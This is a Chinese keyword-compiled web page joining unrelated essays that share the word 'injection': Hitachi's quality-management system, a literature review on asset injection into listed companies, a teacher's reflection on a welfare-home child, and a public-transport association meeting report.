日立公司的质量管理是典型的日本式质量管理。日立也将其质量管理思想、组织制度和管理方法推广到它在中国的合资和独资企业。在上海日立家用电器有限公司总经理小岛正义主持的公司第一次高级管理人员会议上, 主题就是如何抓产品质量, 会议提出“把质量意识注入每位员工的血脉之中”。日立在中国的第一家合资企业———福日公司自成立时起一直推行“双零管理” (以降低成本为目的的“零库存管理”和以提高产品质量为目的的“零缺陷管理”) 。上海日立电器有限公司正是凭借对质量的超前意识雄霸市场的。日立质量管理的核心是全员参与质量管理, 其具体体现是“3N、4M、5S”的质量管理模式。

“3N”是指质量管理的原则为“不接受不合格产品、不制造不合格产品、不移交不合格产品”。其目的是控制生产全过程的质量, 确保经过每位员工之手加工的零部件达到100%的合格率, 达到零缺陷的质量目标。日立要求每个操作者将“3N”原则铭记在心, 以便使生产的各个环节始终处于受控状态, 使生产全过程进入有序的良性循环中。通过执行“3N”原则, 日立希望在每一个岗位上、每一个员工中牢固树立起“生产自己和顾客都满意的产品”的市场新理念, 形成人人注重质量、环环相扣保证质量的有效机制。

“4M”是指对“人、机器、材料、方法”4种质量管理要素的科学运用。即人———激发最大的竞争意识;机器———保持最高的开工率;材料———达到合理的投入产出;方法———应用最佳的手段与途径。其中, 突出对人的管理和发挥人的能动作用是“4M”的精髓。日立公司认为, 要达到国际先进水平, 制造一流产品, 就必须着力在“人”字上下工夫, 变“三个一样”为“四个一样”, 使“4M”都能与国际先进水平接轨。

“5S”是指进行文明生产的5个管理手段, 即“整理、整顿、清扫、清洁、身美”。整理就是把要与不要的东西彻底分开, 要的摆在指定位置挂牌明示, 不要的则坚决处理掉;整顿是指一经检查发现未作标志又未被处理的物品, 现场管理干部将追究当事人的责任;清扫就是将工作场所、环境、仪器设备、材料、工具夹等上的灰尘、污垢、碎屑、泥沙等脏物清洗抹拭干净;清洁是指在以上三个环节之后的日常性维持活动, 在每天下班前3分钟 (或5分钟) 实行全员参加的清洁作业, 使整个环境随时都维持良好状态;身美就是培养全体员工良好的礼貌礼节、工作习惯、组织纪律、敬业精神。其目的是创造一个清洁、舒适、文明的生产环境, 规范员工行为, 塑造良好的企业形象。日立规定, “5S”每天为3~5分钟, 每周末为15分钟, 每月末为半小时, 每年底为2小时, 这样不间断地坚持下去, 文明生产持之以恒, 产品的质量即可提高到更新更高的水平。

在确立了先进的质量管理思想和管理模式的同时, 日立建立了完善的质量管理制度和管理措施。

首先, 设立质量保障机构, 该机构在日立公司叫做“品管部”, 它直接对工厂最高领导层负责, 下设QA、QC、IQC三个分部。QA即品质保证分部, 它全权负责产品出厂前的质量管理工作, 包括检验和审核生产制造、安装调试、检验检测等工作, 拟定并发布质量标准和检验手段, 通报产品质量状况, 处理质量问题等。QC即质量检验分部, 负责对产品进行事后检验并将结果报送QA分部。IQC即进料质量控制分部, 它负责对所有外购原辅材料、外购件及外协件进行质量检验和控制, 无论新老客户的产品, 都必须经过严格检验, 合格后加盖PASS章, 方可入库, 不合格的则毫不犹豫地退回。而且, 这些材料由库房进入车间时也要进行必要的进料质量控制, 发现不良品一律退回库房, 再退给供货商, 如此层层进行进料质量控制, 自然而然地提高了产品优质率。

其次, 建立全面的厂内、厂际质量保证体系。以福日公司为例, 为了使“零缺陷”的质量管理贯穿于产品生产全过程, 公司建立了包括质量组织体系、质量指标保证体系、质量检验保证体系和生产过程质量保证体系等四大保证体系, 并建立了涉及各部门工作的“全信息反馈网络”, 同时福日公司还选择了能反映进料、生产制造、用户使用全过程的8项指标, 并将这些指标逐层分解、分级管理, 为质量管理提供了有力保障。在内部建立质量保证体系的基础上, 福日公司还跟为“福日”牌电视机提供配套部件的厂家签订了“技术、质量、管理经济合作协议”, 组成了合资、代管、合作、协作等多形式、多层次的经济联合体, 各成员厂遵守共同的章程, 包括厂际质量保证体系管理、外移协作部件生产线验收、部门投资入股企业管理、厂际信息管理等一整套管理办法和具体措施。这一体系有效地保障了进料的质量。

第三, 建立全面激励机制。日立公司认为, 企业质量管理的关键要素是人, 这就要求在实施过程中必须十分注意发挥每个员工的积极性和创造性, 不断刺激职工的竞争心理, 公司在质量管理过程中很注意这一点。一方面, 在公司内部推行民主管理, 积极采用员工的合理化建议, 制定“零缺陷”活动计划, 增强员工的民主参与意识和质量观念;另一方面, 公司把全体员工的工资与质量挂钩, 推行质量工资制, 即从每个人的工资中提取一定数额作为质量工资, 并按每个人的综合工作质量进行考核评分, 根据得分进行质量工资的分配。

第四, 制定标准工作时间, 以均衡生产促进优质高产。为了保持流水线生产的均衡性, 使各个工序质量处于受控状态, 日立在科学分析的基础上规定了标准时间及实际工作时间, 据此安排流水线的直接生产人数。并根据产品生产节拍安排每一个工位应当完成的动作, 使每个工位的作业尽量一致, 力求使生产过程显示出既紧张又轻松的节奏。同时, 公司还鼓励职工在劳动空隙增加营养和热量, 并为此采取了相应的经济补贴手段和服务措施, 使员工在收工前每1分钟都能够做到精神饱满, 保证了当日产品的质量和产量。

资产注入相关研究综述篇10

2005年4月, 中国证监会颁布了《关于上市公司股权分置改革试点有关问题的通知》, 我国上市公司股权分置改革拉开了序幕。此时, 出现了一个新的现象———上市公司的大股东大规模的主动将自己的资产注入上市公司。2006年12月国务院转发国资委《关于推进国有资本调整和国有企业重组的指导意见》明确提出积极支持资产或主营业务资产优良的企业实现整体上市, 鼓励已经上市的国有控股公司通过增资扩股、收购资产等方式, 把主营业务资产全部注入上市公司。《指导意见》被认为是有关上市公司资产注入的指导性战略文件, 并将引导资产重组进入到实质性操作阶段。截止2007年, 据不完全统计, 在短短两年左右的时间里, 共有超过100家上市公司公告资产注入, 引发了股价的剧烈波动, 也吸引了众多学者对这一现象展开深入广泛的研究。

国内学者对资产注入行为的研究主要集中在以下三个方面:资产注入的动因;资产注入的质量;资产注入后上市公司业绩的表现。资产注入通常是指上市公司的控股股东把自己的资产或经营业务出售注入到上市公司, 或为提升上市公司的资产质量, 或为减少关联交易, 或为战略目的等, 通过向控股股东增发、向其他投资者定向增发、向公众增发或者换股吸收合并等方式进行。于洋 (2006) 将我国上市公司注入资产的模式归纳为以下六种:注入资产作为股改对价;定向增发或自有资金收购大股东优质资产;大股东通过资产置换偿还历史欠款;借壳上市;通过吸收合并的IPO方式引入新的上市公司资产;控股股东变更所引起的优质资产注入。王珊珊和邓路 (2010) 进一步提出:资产注入型定向增发是我国上市公司定向增发的四大运作模式之一。从上述文献可知, 定向增发是公司实现资产注入的主要方式。此外, 季华、魏明海和柳建华 (2010) 从证券市场监管的角度把资产注入的类型划分为:监管型资产注入和自愿型资产注入, 前者需经证监会核准, 后者仅需通过公司董事会和股东大会批准就可实施。

二、资产注入动因分析

资产注入是一种资本运作方式, 其动因可从三个方面分析, 但其根源都是从大股东角度入手来分析的, 因为资产注入是大股东的个人行为, 近年来发生的资产注入均是由大股东主动实施。所以, 研究其动因应重点考虑大股东的动机。

一是为获得壳资源在并购重组过程中注入资产。我国资本市场容量有限, 公司上市名额稀缺且审批制度严格, 许多绩差公司就成为众多急于寻找融资途径公司眼中的“壳”公司。《亏损上市企业暂停上市和终止上市实施办法》的颁布使我国上市公司退市机制得到强化, 为避免退市许多绩差公司通过出售上市公司壳资源, 引入优质资产或资金进行重组。祝祖强、门2) (2000) 研究发现上市公司通过出售壳资源, 引入新的大股东注入优质资产可以改善企业的经济效益。随后, 宋晓萌 (2003) 进一步指出买壳上市的动机是多元的, 我国企业通过并购取得上市公司地位进行资产注入, 进而获取上市融资的资格才是并购的首要动因。

从买壳上市的过程 (图1) 可以看出, 最后一个环节其实也是大股东注入资产的过程, 新的大股东将其优质资产部分或全部注入“壳”公司, 提高企业经营效益。因此, 买壳上市表面上是一种企业并购行为, 更准确的说是大股东的一种资产注入行为, 资产注入和并购都是方式, 目的是获得上市公司的壳资源。

此外, 通过买壳上市还可以实现众多未上市的绩优公司实现优质资产的证券化。宋常 (2008) 认为股权分置改革使大股东和上市公司价值取向趋于一致, 通过注入资产实现资产证券化, 可以充分利用资本市场的定价功能, 提高资产的获利水平。

二是大股东获取控制权 (收益) 和侵占收益而注入资产。大股东侵犯小股东利益主要表现为:将不良资产注入公司, 用来配股或上市融资;用上市公司财产为其债务作担保;大股东将商标专用权卖给上市公司, 冲抵其对上市公司的应付账款等。这是中国证监会网站上对大股东侵占利益的表述。由此可见, 政府监管部门已经将不良资产注入上市公司融资确定为大股东获取侵占收益的一种方式。“资产注入”也是Friedm an等 (2003) 所称“支持行为”的一种具体方式。资产注入与隧道行为具有紧密的内在联系, 大股东不仅要考虑从企业掠夺财富, 而且还可能考虑通过注入资产来增强其对企业的控制力, 保护其将来掠夺财富的权利。此外, 大股东还可能将劣质资产注入上市公司获取控制权收益, 在全流通格局下, 为了保住控制权, 大股东有必要在合适的时机以定向增发的方式注入资产。所以, 大股东通过资产注入获取控制权 (收益) 本质还是为了侵占小股东利益。

黄建欢、尹筑嘉 (2008) 研究表明, 大股东注入资产的主要动因是谋求资产注入上市公司后的流动性提升及资产市值的增加, 发现大股东普遍在实际操作过程中获得高增值收益, 并指出注入的资产是否为优质资产有待于长期检验。另外, 张祥建、郭岚 (2008) 用“信息不对称”理论解释了大股东与中小股东间严重的信息不对称导致大股东具有虚增注入资产价值的强烈动机, 并建立模型研究表明大股东通过虚增注入资产价值可以获得中小股东无法得到的私人收益, 实现对中小股东的掠夺。

大股东资产注入的侵占途径可以从三个方面来考虑:股改对价是否合理;注入资产质量的优劣;是否虚增注入资产价值。所以, 大股东有条件和动力通过注入劣质资产或虚增注入资产价值来提升股价, 侵占中小股东以获得超额收益。

三是市场环境与政策推动大股东资产注入行为。张忆东 (2007) 较早从市场环境和政策角度分析大股东注资动因, 他认为在两个背景条件下大股东才会发生资产注入行为, 即:首先, 大股东有大量优质资产未上市, 相关部门出台有利的产业政策;其次, 要有行业产能过剩、并购重组加剧和资金需求增大, 行业发展前景好、投资者乐于分享股权增值收益的市场环境。进一步对注资的市场环境进行研究的有尹筑嘉、黄建欢和文凤华 (2009) , 他们把资产注入所处的市场环境分为三类:股权分置环境, 全流通环境和过渡环境。并通过建立模型分析表明, 获取流动性溢价和持股市值增加是大股东注入资产的主要动因之一, 实证分析也显示大股东通过实施资产注入获得了较高的超额收益和较大幅度的流动性溢价。

尽管众多学者从不同角度研究资产注入的动因, 但笔者认为促使企业实施资产注入的动因应是一个有机的、多因素综合作用的结果。以上三个方面动因之间的关系如图2所示, 资产注入的外部动因是市场环境和政策的影响;直接的内部动因在于, 注入资产可以增加上市公司业绩, 提高上市公司的市值, 实现股权价值最大化, 间接达到小股东和大股东双赢的局面, 即高市场溢价驱动大股东资产注入行为。资产注入这种资本运作方式的出现是其内外部原因共同作用下的一种大股东行为, 市场环境和政策的变化是促使其注资的根源, 获取流动性和持股市值的增加是其最终目的。

三、注入资产的质量分析

证监会2006年发布的《上市公司证券发行管理办法》, 并没有对发行股份认购的资产盈利能力做出任何规定, 因此, 缺乏注入资产质量判断的明确标准。在资产注入实施过程中大股东普遍存在虚增注入资产和注入劣质资产的现象。王明旭 (2006) 的研究证实了这一点。张祥建和郭岚 (2008) 也得出相同的结论, 并进一步研究发现大股东虚增注入资产价值可以获得更多的隐性收益。陈耿 (2008) 分析了定向增发整体上市过程中, 大股东可能利用信息优势和控制权, 保留优质资产, 而将一些相对劣质的资产注入上市公司。由此可见, 在经历了2007年资产注入高潮的泡沫期后, 学者们从2008年开始关注资产注入质量, 但尚没有形成一个系统的对注入资产质量的判断标准, 控股股东拟注入的资产质量是决定资产注入类公司绩效优劣的关键因素。

资产注入并不等于注入优质资产, 如何判断注入资产的质量优劣是资产注入亟待解决的一个关键问题。黄建欢和尹筑嘉 (2008) 对大股东注入资产是否为“优质资产”的评判进行了研究, 以上市公司财务状况是否得到改善为主要依据, 选取了每股收益、每股净资产、净资产收益率和每股经营活动现金流四项财务指标对注资前后企业的绩效进行分析。结果显示, 注资后上市公司财务状况总体得到一定程度的改善, 但尚不能认定大股东注入了优质资产。王蕾蕾 (2010) 将判断资产优质与否的标准定义为两点:相对上市公司原有资产的盈利能力;以是否盈利为判断依据。

继2008年关注注资质量的优劣之后, 学者们开始探析如何判断优质资产, 但评判的标准和角度略显单一, 无法从综合角度判断注资的质量以及进一步评析注资后公司的业绩表现。

四、资产注入后上市公司业绩表现

注资后上市公司业绩如何一直是相关领域学者感兴趣的问题, 并做了大量深入的研究。我国企业的资产注入行为始于2006年, 缺少长期绩效研究的时间跨度, 所以相关研究主要集中在注资后公司的短期绩效。学者们把资产注入划分为不同的类型, 分别对短期绩效进行实证检验。

邓路和黄欣然 (2009) 采用市场调整法对中国船舶进行的个案研究发现, 在[-5, 10]的事件窗口期累计超额收益率为正。此后, 大规模实证研究的有范银华 (2009) , 他把资产注入重组的类型划分为资产注入型、股权注入型和混合注入型三种类型, 并对2006年~2008年共62家上市公司资产注入重组绩效进行分析, 选择[-30, 30]的事件窗口, 结论表明样本中有66.13%的上市公司获得了正的累计超额收益。章卫东和李海川 (2010) 对2006年~2007年间不同类型定向增发资产注入的64个样本的[-5, 25]的事件窗口期实证检验发现, 累计超额收益率为正但无明显差异。

随后, 季华、魏明海和柳建华 (2010) 把时间跨度放大为2002年至2006年, 样本容量扩大为261家公司, 通过建立回归模型实证研究发现重大资产注入后12个月内监管型资产注入对上市公司绩效产生正面的影响, 资源型资产注入则不显著。刘婷和唐宗明 (2010) 实证分析了2006年~2007年上市公司大股东资产注入行为的249个样本在[-5, 20]的事件窗口期的累计超额收益率, 结果表明, 使用股权模式进行资产注入的上市公司股价均有显著为正的超额累计收益率, 且大股东为国有背景的上市公司超额累计收益率显著高于民营背景的上市公司。

对资产注入长期绩效研究的有章卫东和李海川 (2010) , 他们发现注入相关资产的12个月长期持有期累计超额收益率要好于注入非相关资产, 即长期持有期的累积超额收益率与注入资产的类型有关。但其对长期绩效检验的时间跨度为12个月略显不足, 还有待今后进一步的检验。

从现有检索到的文献可以看出, 对资产注入后公司业绩的实证研究主要为短期绩效, 大部分学者主要选择2006年后发生资产注入的公司, 这也与我国资产注入大规模发生在2006年之后相对应, 在检验资产注入后的短期绩效方法的选择上, 运用事件研究法的居多, 将大股东资产注入宣告日定为事件日, 事件窗口大多选择[-5, 20]的范围, 研究结论大多为注资后企业获得正的累计超额收益率, 说明资产注入行为可以给我国企业带来短期价值效应。除了用事件研究法检验资产注入后的短期绩效外, 还有一些学者尝试用财务指标和模型来检验。许焱 (2010) 用财务指标分析了76家公司样本的股票价格, 得出资产注入可以提升上市公司业绩和股价的结论。季华、魏明海和柳建华 (2010) 建立的回归模型, 朱国泓和张祖士 (2010) 用模型推导和因子分析的方法说明了大股东资产注入将加剧股市的波动性和脆弱性。

五、结论

给生命注入光篇11

听见几个孩子小声嘀咕：“那是小乐的老师。”然后就向我友好地招呼，眼神里有渴望。或许就因为我是小乐的老师，他们就因此对我多了一份友善。可以想象周围人都用异样目光看他们时，内心里有着怎样的煎熬。政府为他们解决了温饱，可谁又能阻止善良人们的眼光的同情，抑或还有不懂事的孩子的善意的嘲笑。刚来时，我说要给小乐他们买点东西，有个老师说他们并不缺吃穿。真是如此，他们缺的是精神的关怀。再见他们时，都会给他们一个微笑。自此，他们就识得了我。每次见到，都会驻足看我，对着我笑。

小乐是最漂亮、智力最正常的一个。我和阿姨简单聊了几句。她的父亲不知道是谁，母亲属于低保范围，在社会福利院里生活，养不起孩子，只能把孩子送到儿童福利院。她隐约知道点父母的事情。不能想象，六岁的孩子怎堪承受如此巨大的伤痛。

小乐今天穿了新衣服，我夸她衣服漂亮。她扬起光洁的脸，笑着说：“这是新的，不是旧的。”我的心一下被刺痛了。当我们同情可怜某些人群时，首先想到用旧的衣物去资助他们，以为只要满足了他们最低层次的需要就可以了，并且还足以让我们完成一个心灵高尚的过程情感的体验，可完全忽视了这些人也同样有精神需求。平生也捐过多次衣物钱款，那些都是在单位的统一下资助，并没有真正走近这些人、这些孩子。小乐的一句“这是新的，不是旧的”，让我心疼了好久。还有二班的那个男孩，他一直抓着我的手不放，那种恋恋不舍渴盼母亲温暖怀抱的愿望有多么强烈！

收家庭作业绘画《我的家》，小乐在纸上的涂鸦实在让人心痛。看似乱画的一笔一笔实则是内心的宣泄，她生活的大家庭有爱、有温暖，可这些不足以顶上妈妈的一个拥抱。小乐指着下面的两个“木”，说这两个是她自己。真的不知道她内心此时的感受，只是孤独越来越重地包围了她。她又回教室拿了两幅画回来，这是昨晚的作业。昨晚布置作业时，也曾犹豫小乐对于家的敏感，可后来一想她必须面对现实，必须敢于承受生活给她的痛。这两幅画非常规矩，问她是阿姨教的吗？她否认。一幅画上只画了两个人，她说大的是妈妈，小的是她。都扎着同样的辫子，表情是笑的，很开心的样子。另一幅同样画了一大一小的两个，旁边多了一座楼。她指着其中的一个房间说那是她的屋子。心里满满的伤感，我只有抱了抱她。小心翼翼地问，见过妈妈吗？她回答很不明确，支吾了一声，我没有听清楚，不忍再问。同情再次泛滥。

这样的同情持续了很久，并且包含了太多的纵容。可是在不断的同情实施过后，小乐却把她所有的问题全部抛给了我们。上课随意下位，随意吃东西，随意乱翻别人的书包，随意说话，随意上厕所，随意在座位上撕纸，随意乱抛垃圾，随意跑向讲台……原来她在上学之前完全没有被规训过。更为糟糕的是她在班级内没有一个伙伴，下课只和福利院的孩子凑在一起玩耍。她只是走进了学校，封闭的心灵并没有打开。课后和其他老师交流，福利院的孩子的问题基本一致。郁闷了好久，没有找到出口。

偶尔施舍同情心，每个人都能做到。可当这些孩子不停地犯着同样的错误时，有时候就会忘记他的身体的残疾而憎恨起心灵的缺失。当我们久已习惯了安静的课堂，每天让这些孩子充满了喧哗时，我们就自然生出了很多怨愤。这和心灵的高尚无关。因为，我们毕竟是普通学校，面对的是健全的心灵，往往同学间一个不经意的玩笑，都会给这些“特殊”孩子更多的背负。所以，我们必须小心翼翼尽量不去触及他们本来就七零八落的心。可当你的同情过多泛滥时，对这些孩子的教育又非常不利。教育的尺度教师不好把握。

下午放学时，看着朗朗的阳光下的他们，脸上没有一丝灰暗和忧伤。所有上课的问题都不复存在。我想，我们唯一能做的，就是给他，给她，给他们一个微笑，润泽他们困难人生的每一天。当他们日渐成人时，他们会明白生命因为有了光的注入而温暖美好。

为公交发展注入正能量篇12

2012年年末以来, 国务院、交通运输部先后召开全国公共交通工作会议, 并下发被称为史上最高扶持公交发展政策的国发“64号文”。去年刚刚成立的中道协城市客运分会, 在这种形势之下, 开展了很多卓有成效的工作, 推进公共交通行业的发展。2013年5月7日, 其召开的中国道路运输协会城市客运分会顾问委员会会议, 即是其中的努力之一。

在这次会议上, 申耘、唐有成等专家撰写的《郑州市公共交通对郑州社会经济发展贡献的评价研究报告》很有新意, 解决了多年来研究公共交通对城市社会经济发展的贡献只有定性没有定量评价的重大课题。会议决定以城市客运分会的名义推荐、报送到交通运输部, 使其尽快转化为成果。

会议还引导各地政府和公交企业深入落实《国务院关于城市优先发展公交交通的指导意见》 (国发[2012]64号) , 在转变观念、坚定信心、完善政策、加大话语权等诸多方面发挥了积极的作用, 得到与会代表的赞同。

与会顾问普遍认为, 近年来, 各级地方人民政府对城市公共交通的发展支持、投入力度不断加大, 各地公交企业紧紧抓住机遇加快改革发展, 为人民群众提供更加满意的基本出行服务, 做了大量开创性的工作, 总体形势是好的。但因地区差异等多方面原因, 仍存在诸多不平衡问题。

城市客运分会理事长张国光、秘书长胡剑平出席会议并讲话, 会议由顾问委员会主任郑树森主持。顾问委员会成员有高潮、杨茂超、魏宏凯、杨天明、蒋天荣, 国务院发展研究中心副主任、《经济要参》编辑部副编审申耘作为特邀专家出席, 国家统计局景气检测处处长、中国经济景气监测中心研究员唐有成也参加会议。

会议首先由杭州公交集团党委书记、董事长黄志耀致欢迎辞, 并向与会同志介绍了杭州公交近两年来改革发展情况。会议听取了胡剑平秘书长关于城市客运分会近期重点工作情况的通报;还听取了中国道路运输协会城市客运分会标准认证部部长姚桂林关于交通运输企业安全生产标准化考评认证工作进展情况的汇报。

【安全注入】推荐阅读：

注入漏洞10-21

离子注入05-18

注入参数07-09

资产注入07-29

注入实验08-26

注入体系10-26